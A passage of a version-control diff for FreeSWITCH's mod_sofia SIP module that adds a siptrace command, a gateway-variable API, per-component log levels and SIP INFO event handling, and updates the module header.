+												 "network_ip,network_port,sip_username,sip_realm"
 												 " from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'", 
 												 profile->name, argv[4]);
 						}
 					} else {
 						sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
-											 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname"
+											 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+											 "network_ip,network_port,sip_username,sip_realm"
 											 " from sip_registrations where profile_name='%q' and contact like '%%%q%%'", 
 											 profile->name, argv[3]);
 					}
@@ -1788,7 +1989,8 @@
 
 				if (!sql) {
 					sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
-										 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname"
+										 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+										 "network_ip,network_port,sip_username,sip_realm"
 										 " from sip_registrations where profile_name='%q'", 
 										 profile->name);
 				}
@@ -1796,8 +1998,8 @@
 				sofia_glue_execute_sql_callback(profile, SWITCH_FALSE, profile->ireg_mutex, sql, show_reg_callback_xml, &cb);
 				free(sql);
 
-				stream->write_function(stream, "</Registrations>\n");
-				stream->write_function(stream, "</Profile>\n");
+				stream->write_function(stream, "  </registrations>\n");
+				stream->write_function(stream, "</profile>\n");
 
 				sofia_glue_release_profile(profile);
 			} else {
@@ -1811,7 +2013,7 @@
 	}
 
   stream->write_function(stream, "%s\n", header);
-  stream->write_function(stream, "<Profiles>\n");
+  stream->write_function(stream, "<profiles>\n");
 	switch_mutex_lock(mod_sofia_globals.hash_mutex);
 	for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
 		switch_hash_this(hi, &vvar, NULL, &val);
@@ -1820,13 +2022,13 @@
 
 			if (strcmp(vvar, profile->name)) {
 				ac++;
-				stream->write_function(stream, "<alias>\n<Name>%s</Name>\n<Type>%s</Type>\n<Data>%s</Data>\n<State>%s</State>\n</alias>\n", vvar, "alias", profile->name, "ALIASED");
+				stream->write_function(stream, "<alias>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s</state>\n</alias>\n", vvar, "alias", profile->name, "ALIASED");
 			} else {
-				stream->write_function(stream, "<profile>\n<Name>%s</Name>\n<Type>%s</Type>\n<Data>%s</Data>\n<State>%s (%u)</State>\n</profile>\n", profile->name, "profile", profile->url,
+				stream->write_function(stream, "<profile>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s (%u)</state>\n</profile>\n", profile->name, "profile", profile->url,
 									   sofia_test_pflag(profile, PFLAG_RUNNING) ? "RUNNING" : "DOWN", profile->inuse);
 
 				if (sofia_test_pflag(profile, PFLAG_TLS)) {
-					stream->write_function(stream, "<profile>\n<Name>%s</Name>\n<Type>%s</Type>\n<Data>%s</Data>\n<State>%s (%u) (TLS)</State>\n</profile>\n", profile->name, "profile", profile->tls_url,
+					stream->write_function(stream, "<profile>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s (%u) (TLS)</state>\n</profile>\n", profile->name, "profile", profile->tls_url,
 										   sofia_test_pflag(profile, PFLAG_RUNNING) ? "RUNNING" : "DOWN", profile->inuse);
 				}
 
@@ -1834,9 +2036,9 @@
 
 				for (gp = profile->gateways; gp; gp = gp->next) {
 					switch_assert(gp->state < REG_STATE_LAST);
-					stream->write_function(stream, "<gateway>\n<Name>%s</Name>\n<Type>%s</Type>\n<Data>%s</Data>\n<State>%s</State>\n</gateway>\n", gp->name, "gateway", gp->register_to, sofia_state_names[gp->state]);
+					stream->write_function(stream, "<gateway>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s</state>\n</gateway>\n", gp->name, "gateway", gp->register_to, sofia_state_names[gp->state]);
 					if (gp->state == REG_STATE_FAILED || gp->state == REG_STATE_TRYING) {
-						time_t now = switch_timestamp(NULL);
+						time_t now = switch_epoch_time_now(NULL);
 						if (gp->retry > now) {
 							stream->write_function(stream, " (retry: %ds)", gp->retry - now);
 						} else {
@@ -1849,7 +2051,7 @@
 		}
 	}
 	switch_mutex_unlock(mod_sofia_globals.hash_mutex);
-	stream->write_function(stream, "</Profiles>\n");
+	stream->write_function(stream, "</profiles>\n");
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -1892,7 +2094,7 @@
 
 	if (!strcasecmp(argv[1], "killgw")) {
 		sofia_gateway_t *gateway_ptr;
-		if (argc < 2) {
+		if (argc < 3) {
 			stream->write_function(stream, "-ERR missing gw name\n");
 			goto done;
 		}
@@ -1912,13 +2114,13 @@
 		if (argv[2]) {
 			int is_true = switch_true(argv[2]);
 			if (is_true) {
-				profile->pflags |= PFLAG_STUN_AUTO_DISABLE;
+				sofia_set_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
 			} else {
-				profile->pflags &= ~PFLAG_STUN_AUTO_DISABLE;
+				sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
 			}
 		}
 
-		stream->write_function(stream, "+OK stun-auto-disable=%s", (profile->pflags & PFLAG_STUN_AUTO_DISABLE) ? "true" : "false");
+		stream->write_function(stream, "+OK stun-auto-disable=%s", sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? "true" : "false");
 		
 		goto done;
 	}
@@ -1927,13 +2129,13 @@
 		if (argv[2]) {
 			int is_true = switch_true(argv[2]);
 			if (is_true) {
-				profile->pflags |= PFLAG_STUN_ENABLED;
+				sofia_set_pflag(profile, PFLAG_STUN_ENABLED);
 			} else {
-				profile->pflags &= ~PFLAG_STUN_ENABLED;
+				sofia_clear_pflag(profile, PFLAG_STUN_ENABLED);
 			}
 		}
 
-		stream->write_function(stream, "+OK stun-enabled=%s", (profile->pflags & PFLAG_STUN_ENABLED) ? "true" : "false");
+		stream->write_function(stream, "+OK stun-enabled=%s", sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? "true" : "false");
 		
 		goto done;
 	}
@@ -2036,7 +2238,7 @@
 
 	if (!strcasecmp(argv[1], "stop") || !strcasecmp(argv[1], "restart")) {
 		int rsec = 10;
-		int diff = (int) (switch_timestamp(NULL) - profile->started);
+		int diff = (int) (switch_epoch_time_now(NULL) - profile->started);
 		int remain = rsec - diff;
 		if (diff < rsec) {
 			stream->write_function(stream, "Profile %s must be up for at least %d seconds to stop/restart.\nPlease wait %d second%s\n",
@@ -2061,6 +2263,17 @@
 		}
 		goto done;
 	}
+	
+	if (!strcasecmp(argv[1], "siptrace")) {
+		if (argc > 2) {
+			int value = switch_true(argv[2]);
+			nua_set_params(profile->nua, TPTAG_LOG(value), TAG_END());
+			stream->write_function(stream, "%s sip debugging on %s", value ? "Enabled" : "Disabled", profile->name);
+		} else {
+			stream->write_function(stream, "Usage: sofia profile <name> siptrace <on/off>\n");
+		}
+		goto done;
+	}
 
 	stream->write_function(stream, "-ERR Unknown command!\n");
 
@@ -2203,6 +2416,55 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+/* <gateway_name> [ivar|ovar|var] <name> */
+SWITCH_STANDARD_API(sofia_gateway_data_function)
+{
+	char *argv[4];
+	char *mydata;
+	int argc;
+	sofia_gateway_t *gateway;
+	char *gwname, *param, *varname;
+	const char *val = NULL;
+	
+	if (!(mydata = strdup(cmd))) {
+		return SWITCH_STATUS_FALSE;
+	}
+	
+	if (!(argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) || !argv[0]) {
+		goto end;
+	}
+	
+	gwname = argv[0];
+	param = argv[1];
+	varname = argv[2];
+	
+	if (switch_strlen_zero(gwname) || switch_strlen_zero(param) || switch_strlen_zero(varname)) {
+		goto end;
+	}
+	
+	if (!(gateway = sofia_reg_find_gateway(gwname))) {
+		goto end;
+	}
+	
+	if (!strcasecmp(param, "ivar") && gateway->ib_vars && (val = switch_event_get_header(gateway->ib_vars, varname))) {
+		stream->write_function(stream, "%s", val);
+	} else if (!strcasecmp(param, "ovar") && gateway->ob_vars && (val = switch_event_get_header(gateway->ob_vars, varname))) {
+		stream->write_function(stream, "%s", val);		
+	} else if (!strcasecmp(param, "var")) {
+		if (gateway->ib_vars && (val = switch_event_get_header(gateway->ib_vars, varname))) {
+			stream->write_function(stream, "%s", val);
+		} else if (gateway->ob_vars && (val = switch_event_get_header(gateway->ob_vars, varname))) {
+			stream->write_function(stream, "%s", val);
+		}
+	}
+	
+	sofia_reg_release_gateway(gateway);
+	
+end:
+	switch_safe_free(mydata);
+	return SWITCH_STATUS_SUCCESS;
+}
+
 SWITCH_STANDARD_API(sofia_function)
 {
 	char *argv[1024] = { 0 };
@@ -2214,10 +2476,11 @@
 	const char *usage_string = "USAGE:\n"
 		"--------------------------------------------------------------------------------\n"
 		"sofia help\n"
-		"sofia profile <profile_name> [[start|stop|restart|rescan] [reloadxml]|flush_inbound_reg [<call_id>] [reboot]|[register|unregister] [<gateway name>|all]|killgw <gateway name>|[stun-auto-disable|stun-enabled] [true|false]]\n"
+		"sofia profile <profile_name> [[start|stop|restart|rescan] [reloadxml]|flush_inbound_reg [<call_id>] [reboot]|[register|unregister] [<gateway name>|all]|killgw <gateway name>|[stun-auto-disable|stun-enabled] [true|false]]|siptrace [on|off]\n"
 		"sofia status profile <name> [ reg <contact str> ] | [ pres <pres str> ]\n"
 		"sofia status gateway <name>\n"
-		"sofia loglevel [0-9]\n" "--------------------------------------------------------------------------------\n";
+		"sofia loglevel <all|default|tport|iptsec|nea|nta|nth_client|nth_server|nua|soa|sresolv|stun> [0-9]\n"
+		"--------------------------------------------------------------------------------\n";
 
 	if (session) {
 		return SWITCH_STATUS_FALSE;
@@ -2244,16 +2507,27 @@
 		func = cmd_status;
 	} else if (!strcasecmp(argv[0], "xmlstatus")) {
 		func = cmd_xml_status;
+	} else if (!strcasecmp(argv[0], "tracelevel")) {
+		if (argv[1]) {
+			mod_sofia_globals.tracelevel = switch_log_str2level(argv[1]);
+		}
+		stream->write_function(stream, "+OK tracelevel is %s", switch_log_level2str(mod_sofia_globals.tracelevel));
+        goto done;
 	} else if (!strcasecmp(argv[0], "loglevel")) {
-		if (argc > 1 && argv[1]) {
-			int level;
-			level = atoi(argv[1]);
-			if (level >= 0 && level <= 9) {
-				su_log_set_level(NULL, atoi(argv[1]));
-				stream->write_function(stream, "Sofia-sip log level set to [%d]", level);
+		if (argc > 2 && argv[2] && switch_is_number(argv[2])) {
+			int level = atoi(argv[2]);
+			if (sofia_set_loglevel(argv[1], level) == SWITCH_STATUS_SUCCESS) {
+				stream->write_function(stream, "Sofia log level for component [%s] has been set to [%d]", argv[1], level);
 			} else {
 				stream->write_function(stream, "%s", usage_string);
 			}
+		} else if (argc > 1 && argv[1]) {
+			int level = sofia_get_loglevel(argv[1]);
+			if (level >= 0) {
+				stream->write_function(stream, "Sofia-sip loglevel for [%s] is [%d]", argv[1], level);
+			} else {
+				stream->write_function(stream, "%s", usage_string);
+			}
 		} else {
 			stream->write_function(stream, "%s", usage_string);
 		}
@@ -2296,7 +2570,10 @@
 	/*.on_soft_execute */ sofia_on_soft_execute,
 	/*.on_consume_media */ NULL,
 	/*.on_hibernate */ sofia_on_hibernate,
-	/*.on_reset */ sofia_on_reset
+	/*.on_reset */ sofia_on_reset,
+	/*.on_park*/ NULL,
+	/*.on_reporting*/ NULL,
+	/*.on_destroy*/ sofia_on_destroy
 };
 
 static switch_status_t sofia_manage(char *relative_oid, switch_management_action_t action, char *data, switch_size_t datalen)
@@ -2320,7 +2597,7 @@
 
 	*new_session = NULL;
 
-	if (!(nsession = switch_core_session_request(sofia_endpoint_interface, pool))) {
+	if (!(nsession = switch_core_session_request(sofia_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool))) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Error Creating Session\n");
 		goto error;
 	}
@@ -2340,6 +2617,10 @@
 
 	nchannel = switch_core_session_get_channel(nsession);
 
+	if ((hval = switch_event_get_header(var_event, "sip_invite_to_uri"))) {
+		dest_to = switch_core_session_strdup(nsession, hval);
+	}
+
 	if (!strncasecmp(profile_name, "gateway", 7)) {
 		char *gw, *params;
 		sofia_gateway_t *gateway_ptr = NULL;
@@ -2409,7 +2690,7 @@
 		tech_pvt->gateway_name = switch_core_session_strdup(nsession, gateway_ptr->name);
 		switch_channel_set_variable(nchannel, "sip_gateway_name", gateway_ptr->name);
 
-		if (!switch_test_flag(gateway_ptr, REG_FLAG_CALLERID)) {
+		if (!sofia_test_flag(gateway_ptr, REG_FLAG_CALLERID)) {
 			tech_pvt->gateway_from_str = switch_core_session_strdup(nsession, gateway_ptr->register_from);
 		}
 
@@ -2424,10 +2705,20 @@
 		} else {
 			tech_pvt->invite_contact = switch_core_session_strdup(nsession, gateway_ptr->register_contact);
 		}
+		
+		gateway_ptr->ob_calls++;
+		
+		if (!switch_strlen_zero(gateway_ptr->from_domain) && !switch_channel_get_variable(nchannel, "sip_invite_domain")) {
+			switch_channel_set_variable(nchannel, "sip_invite_domain", gateway_ptr->from_domain);
+		}
 
-		if (gateway_ptr->vars) {
+		if (!switch_strlen_zero(gateway_ptr->outbound_sticky_proxy) && !switch_channel_get_variable(nchannel, "sip_route_uri")) {
+			switch_channel_set_variable(nchannel, "sip_route_uri", gateway_ptr->outbound_sticky_proxy);
+		}
+		
+		if (gateway_ptr->ob_vars) {
 			switch_event_header_t *hp;
-			for(hp = gateway_ptr->vars->headers; hp; hp = hp->next) {
+			for(hp = gateway_ptr->ob_vars->headers; hp; hp = hp->next) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s setting variable [%s]=[%s]\n",
 								  switch_channel_get_name(nchannel), hp->name, hp->value);
 				switch_channel_set_variable(nchannel, hp->name, hp->value);
@@ -2455,7 +2746,7 @@
 		if (!strncasecmp(dest, "sip:", 4) || !strncasecmp(dest, "sips:", 5)) {
 			tech_pvt->dest = switch_core_session_strdup(nsession, dest);
 		} else if ((host = strchr(dest, '%'))) {
-			char buf[128];
+			char buf[1024];
 			*host = '@';
 			tech_pvt->e_dest = switch_core_session_strdup(nsession, dest);
 			*host++ = '\0';
@@ -2468,7 +2759,7 @@
 				goto error;
 			}
 		} else if (!(host = strchr(dest, '@'))) {
-			char buf[128];
+			char buf[1024];
 			tech_pvt->e_dest = switch_core_session_strdup(nsession, dest);
 			if (sofia_reg_find_reg_url(profile, dest, profile_name, buf, sizeof(buf))) {
 				tech_pvt->dest = switch_core_session_strdup(nsession, buf);
@@ -2485,6 +2776,8 @@
 		}
 	}
 
+	sofia_glue_get_user_host(switch_core_session_strdup(nsession, tech_pvt->dest), NULL, &tech_pvt->remote_ip);
+
 	if (dest_to) {
 		if (strchr(dest_to, '@')) {
 			tech_pvt->dest_to = switch_core_session_sprintf(nsession, "sip:%s", dest_to);
@@ -2512,8 +2805,8 @@
 	caller_profile->destination_number = switch_core_strdup(caller_profile->pool, dest);
 	switch_channel_set_caller_profile(nchannel, caller_profile);
 	switch_channel_set_flag(nchannel, CF_OUTBOUND);
-	switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
-	switch_clear_flag_locked(tech_pvt, TFLAG_LATE_NEGOTIATION);
+	sofia_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
+	sofia_clear_flag_locked(tech_pvt, TFLAG_LATE_NEGOTIATION);
 	if (switch_channel_get_state(nchannel) == CS_NEW) {
 		switch_channel_set_state(nchannel, CS_INIT);
 	}
@@ -2541,6 +2834,7 @@
 		switch_ivr_transfer_variable(session, nsession, "sip_video_fmtp");
 		switch_ivr_transfer_variable(session, nsession, "sip-force-contact");
 		switch_ivr_transfer_variable(session, nsession, "sip_sticky_contact");
+		switch_ivr_transfer_variable(session, nsession, "sip_cid_type");
 
 		if (switch_core_session_compare(session, nsession)) {
 			/* It's another sofia channel! so lets cache what they use as a pt for telephone event so 
@@ -2562,7 +2856,7 @@
 				tech_pvt->video_rm_rate = 90000;
 				tech_pvt->video_codec_ms = 0;
 				switch_channel_set_flag(tech_pvt->channel, CF_VIDEO);
-				switch_set_flag(tech_pvt, TFLAG_VIDEO);
+				sofia_set_flag(tech_pvt, TFLAG_VIDEO);
 			}
 		}
 	}
@@ -2578,6 +2872,11 @@
   done:
 
 	if (profile) {
+		if (cause == SWITCH_CAUSE_SUCCESS) {
+			profile->ob_calls++;
+		} else {
+			profile->ob_failed_calls++;
+		}
 		sofia_glue_release_profile(profile);
 	}
 	return cause;
@@ -2622,6 +2921,8 @@
 					SIPTAG_CONTACT_STR(profile->url), 
 					TAG_END());
 				
+	nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
+
 	nua_notify(nh,
 			   NUTAG_NEWSUB(1),
 			   SIPTAG_EVENT_STR(es), 
@@ -2653,8 +2954,66 @@
 			const char *call_id = switch_event_get_header(event, "call-id");
 			const char *uuid = switch_event_get_header(event, "uuid");
 			const char *body = switch_event_get_body(event);
+			const char *to_uri = switch_event_get_header(event, "to-uri");
+			const char *from_uri = switch_event_get_header(event, "from-uri");
 			sofia_profile_t *profile;
 
+
+			if (to_uri || from_uri) {
+				
+				if (!to_uri) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing To-URI header\n");
+					return;
+				}
+				
+				if (!from_uri) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing From-URI header\n");
+					return;
+				}
+				
+				if (!es) {
+					es = "message-summary";
+				}
+
+				if (!ct) {
+					ct = "application/simple-message-summary";
+				}
+
+				if (!profile_name) {
+					profile_name = "default";
+				}
+				
+				if (!(profile = sofia_glue_find_profile(profile_name))) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find profile %s\n", profile_name);
+					return;
+				}
+
+				
+				if (to_uri && from_uri && ct && es && profile_name && (profile = sofia_glue_find_profile(profile_name))) {
+					nua_handle_t *nh = nua_handle(profile->nua, 
+												  NULL, 
+												  NUTAG_URL(to_uri), 
+												  SIPTAG_FROM_STR(from_uri), 
+												  SIPTAG_TO_STR(to_uri), 
+												  SIPTAG_CONTACT_STR(profile->url), 
+												  TAG_END());
+				
+					nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
+				
+					nua_notify(nh,
+							   NUTAG_NEWSUB(1),
+							   NUTAG_WITH_THIS(profile->nua),
+							   SIPTAG_EVENT_STR(es), 
+							   TAG_IF(ct, SIPTAG_CONTENT_TYPE_STR(ct)),
+							   TAG_IF(!switch_strlen_zero(body), SIPTAG_PAYLOAD_STR(body)),
+							   TAG_END());
+				
+					sofia_glue_release_profile(profile);
+				}
+
+				return;
+			}
+
 			if (uuid && ct && es) {
 				switch_core_session_t *session;
 				private_object_t *tech_pvt;
@@ -2725,7 +3084,7 @@
 
 				switch_assert(id);
 				contact = sofia_glue_get_url_from_contact(buf, 0);
-
+				
 				if ((p = strstr(contact, ";fs_"))) {
 					*p = '\0';
 				}
@@ -2751,10 +3110,115 @@
 
 		}
 		break;
+	case SWITCH_EVENT_SEND_INFO:
+		{
+			const char *profile_name = switch_event_get_header(event, "profile");
+			const char *ct = switch_event_get_header(event, "content-type");
+			const char *to_uri = switch_event_get_header(event, "to-uri");
+			const char *local_user_full = switch_event_get_header(event, "local-user");
+			const char *from_uri = switch_event_get_header(event, "from-uri");
+			const char *call_info = switch_event_get_header(event, "call-info");
+			const char *alert_info = switch_event_get_header(event, "alert-info");
+			const char *call_id = switch_event_get_header(event, "call-id");
+			const char *body = switch_event_get_body(event);
+			sofia_profile_t *profile = NULL;
+			nua_handle_t *nh;
+			char *local_dup = NULL;
+			char *local_user, *local_host;
+			char buf[1024] = "";
+			char *p;
+
+			if (!profile_name) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing Profile Name\n");
+                goto done;
+            }
+
+            if (!call_id && !to_uri && !local_user_full) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing To-URI header\n");
+                goto done;
+            }
+
+            if (!call_id && !from_uri) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing From-URI header\n");
+                goto done;
+            }
+
+
+            if (!(profile = sofia_glue_find_profile(profile_name))) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find profile %s\n", profile_name);
+                goto done;
+            }
+
+			if (call_id) {
+				nh = nua_handle_by_call_id(profile->nua, call_id);
+
+				if (!nh) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid Call-ID %s\n", call_id);
+					goto done;
+				}
+			}
+
+			else {
+				if (local_user_full) {
+					local_dup = strdup(local_user_full);
+					local_user = local_dup;
+					if ((local_host = strchr(local_user, '@'))) {
+						*local_host++ = '\0';
+					}
+
+					if (!local_user || !local_host || !sofia_reg_find_reg_url(profile, local_user, local_host, buf, sizeof(buf))) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find local user\n");
+						goto done;
+					}
+
+					to_uri = sofia_glue_get_url_from_contact(buf, 0);
+					
+					if ((p = strstr(to_uri, ";fs_"))) {
+						*p = '\0';
+					}
+
+				}
+
+
+				nh = nua_handle(profile->nua, 
+								NULL, 
+								NUTAG_URL(to_uri), 
+								SIPTAG_FROM_STR(from_uri), 
+								SIPTAG_TO_STR(to_uri), 
+								SIPTAG_CONTACT_STR(profile->url), 
+								TAG_END());
+				
+				nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
+			}
+
+			nua_info(nh,
+					 NUTAG_WITH_THIS(profile->nua),
+					 TAG_IF(ct, SIPTAG_CONTENT_TYPE_STR(ct)),
+					 TAG_IF(alert_info, SIPTAG_ALERT_INFO_STR(alert_info)),
+					 TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
+					 TAG_IF(!switch_strlen_zero(body), SIPTAG_PAYLOAD_STR(body)),
+					 TAG_END());
+
+			if (call_id && nh) {
+				nua_handle_unref(nh);
+			}
+
+			if (profile) {
+				sofia_glue_release_profile(profile);
+			}
+			
+		done:
+
+			switch_safe_free(local_dup);
+			
+		}
+		break;
 	case SWITCH_EVENT_TRAP:
 		{
 			const char *cond = switch_event_get_header(event, "condition");
 
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "EVENT_TRAP: IP change detected\n");
+
 			if (cond && !strcmp(cond, "network-address-change") && mod_sofia_globals.auto_restart) {
 				const char *old_ip4 = switch_event_get_header_nil(event, "network-address-previous-v4");
 				const char *new_ip4 = switch_event_get_header_nil(event, "network-address-change-v4");
@@ -2797,7 +3261,7 @@
 						}
 					}
 				}
-
+				switch_mutex_unlock(mod_sofia_globals.hash_mutex);
 				sofia_glue_restart_all_profiles();
 			}
 			
@@ -2813,6 +3277,7 @@
 	switch_chat_interface_t *chat_interface;
 	switch_api_interface_t *api_interface;
 	switch_management_interface_t *management_interface;
+	struct in_addr in;
 
 	silence_frame.data = silence_data;
 	silence_frame.datalen = sizeof(silence_data);
@@ -2821,10 +3286,14 @@
 
 	memset(&mod_sofia_globals, 0, sizeof(mod_sofia_globals));
 	mod_sofia_globals.destroy_private.destroy_nh = 1;
+	mod_sofia_globals.destroy_private.is_static = 1;
+	mod_sofia_globals.keep_private.is_static = 1;
 	mod_sofia_globals.pool = pool;
 	switch_mutex_init(&mod_sofia_globals.mutex, SWITCH_MUTEX_NESTED, mod_sofia_globals.pool);
 
-	switch_find_local_ip(mod_sofia_globals.guess_ip, sizeof(mod_sofia_globals.guess_ip), AF_INET);
+	switch_find_local_ip(mod_sofia_globals.guess_ip, sizeof(mod_sofia_globals.guess_ip), &mod_sofia_globals.guess_mask, AF_INET);
+	in.s_addr = mod_sofia_globals.guess_mask;
+	switch_set_string(mod_sofia_globals.guess_mask_str, inet_ntoa(in));
 	gethostname(mod_sofia_globals.hostname, sizeof(mod_sofia_globals.hostname));
 
 
@@ -2836,6 +3305,8 @@
 	mod_sofia_globals.running = 1;
 	switch_mutex_unlock(mod_sofia_globals.mutex);
 
+	mod_sofia_globals.auto_nat = (switch_core_get_variable("nat_type") ? 1 : 0);
+
 	switch_queue_create(&mod_sofia_globals.presence_queue, SOFIA_QUEUE_SIZE, mod_sofia_globals.pool);
 	switch_queue_create(&mod_sofia_globals.mwi_queue, SOFIA_QUEUE_SIZE, mod_sofia_globals.pool);
 
@@ -2898,6 +3369,11 @@
 		return SWITCH_STATUS_GENERR;
 	}
 
+	if (switch_event_bind(modname, SWITCH_EVENT_SEND_INFO, SWITCH_EVENT_SUBCLASS_ANY, general_event_handler, NULL) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
+		return SWITCH_STATUS_GENERR;
+	}
+
 	/* connect my internal structure to the blank pointer passed to me */
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 	sofia_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
@@ -2910,6 +3386,7 @@
 	management_interface->management_function = sofia_manage;
 
 	SWITCH_ADD_API(api_interface, "sofia", "Sofia Controls", sofia_function, "<cmd> <args>");
+	SWITCH_ADD_API(api_interface, "sofia_gateway_data", "Get data from a sofia gateway", sofia_gateway_data_function, "<gateway_name> [ivar|ovar|var] <name>");
 	switch_console_set_complete("add sofia help");
 	switch_console_set_complete("add sofia status");
 	switch_console_set_complete("add sofia loglevel");
@@ -2943,12 +3420,12 @@
 	
 	while (mod_sofia_globals.threads) {
 		switch_cond_next();
-		if (++sanity >= 10000) {
+		if (++sanity >= 60000) {
 			break;
 		}
 	}
 
-	switch_yield(1000000);
+	//switch_yield(1000000);
 	su_deinit();
 
 	switch_mutex_lock(mod_sofia_globals.hash_mutex);

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_sofia/mod_sofia.h (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_sofia/mod_sofia.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_sofia/mod_sofia.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Ken Rice, Asteria Solutions Group, Inc <ken@asteriasgi.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  * Bret McDanel <trixter AT 0xdecafbad.com>
@@ -36,15 +36,14 @@
 
 /*Defines etc..*/
 /*************************************************************************************************************************************************************/
+#define MANUAL_BYE
+
 #define IREG_SECONDS 30
 #define GATEWAY_SECONDS 1
 #define SOFIA_QUEUE_SIZE 50000
 #define HAVE_APR
 #include <switch.h>
 #include <switch_version.h>
-#ifdef SWITCH_HAVE_ODBC
-#include <switch_odbc.h>
-#endif
 #define SOFIA_NAT_SESSION_TIMEOUT 20
 #define SOFIA_MAX_ACL 100
 #ifdef _MSC_VER
@@ -56,6 +55,7 @@
 #define MAX_CODEC_CHECK_FRAMES 50
 #define MAX_MISMATCH_FRAMES 3
 #define MODNAME "mod_sofia"
+#define SOFIA_DEFAULT_CONTACT_USER MODNAME
 static const switch_state_handler_table_t noop_state_handler = { 0 };
 struct sofia_gateway;
 typedef struct sofia_gateway sofia_gateway_t;
@@ -104,8 +104,14 @@
 #include <sofia-sip/su_log.h>
 #include <sofia-sip/nea.h>
 #include <sofia-sip/msg_addr.h>
+#include <sofia-sip/tport_tag.h>
+#include <sofia-sip/sip_extra.h>
 #include "nua_stack.h"
+#include "sofia-sip/msg_parser.h"
+#include "sofia-sip/sip_parser.h"
+#include "sofia-sip/tport_tag.h"
 
+
 typedef enum {
 	DTMF_2833,
 	DTMF_INFO,
@@ -120,10 +126,12 @@
 	int destroy_nh;
 	int destroy_me;
 	int is_call;
+	int is_static;
 };
 
 #define set_param(ptr,val) if (ptr) {free(ptr) ; ptr = NULL;} if (val) {ptr = strdup(val);}
 #define set_anchor(t,m) if (t->Anchor) {delete t->Anchor;} t->Anchor = new SipMessage(m);
+#define sofia_private_free(_pvt) if (_pvt && ! _pvt->is_static) {free(_pvt); _pvt = NULL;}
 
 /* Local Structures */
 /*************************************************************************************************************************************************************/
@@ -141,43 +149,57 @@
 } MFLAGS;
 
 typedef enum {
-	PFLAG_AUTH_CALLS = (1 << 0),
-	PFLAG_BLIND_REG = (1 << 1),
-	PFLAG_AUTH_ALL = (1 << 2),
-	PFLAG_FULL_ID = (1 << 3),
-	PFLAG_MULTIREG_CONTACT = (1 << 4),
-	PFLAG_PASS_RFC2833 = (1 << 5),
-	PFLAG_DISABLE_TRANSCODING = (1 << 6),
-	PFLAG_REWRITE_TIMESTAMPS = (1 << 7),
-	PFLAG_RUNNING = (1 << 8),
-	PFLAG_RESPAWN = (1 << 9),
-	PFLAG_GREEDY = (1 << 10),
-	PFLAG_MULTIREG = (1 << 11),
-	PFLAG_SUPPRESS_CNG = (1 << 12),
-	PFLAG_TLS = (1 << 13),
-	PFLAG_CHECKUSER = (1 << 14),
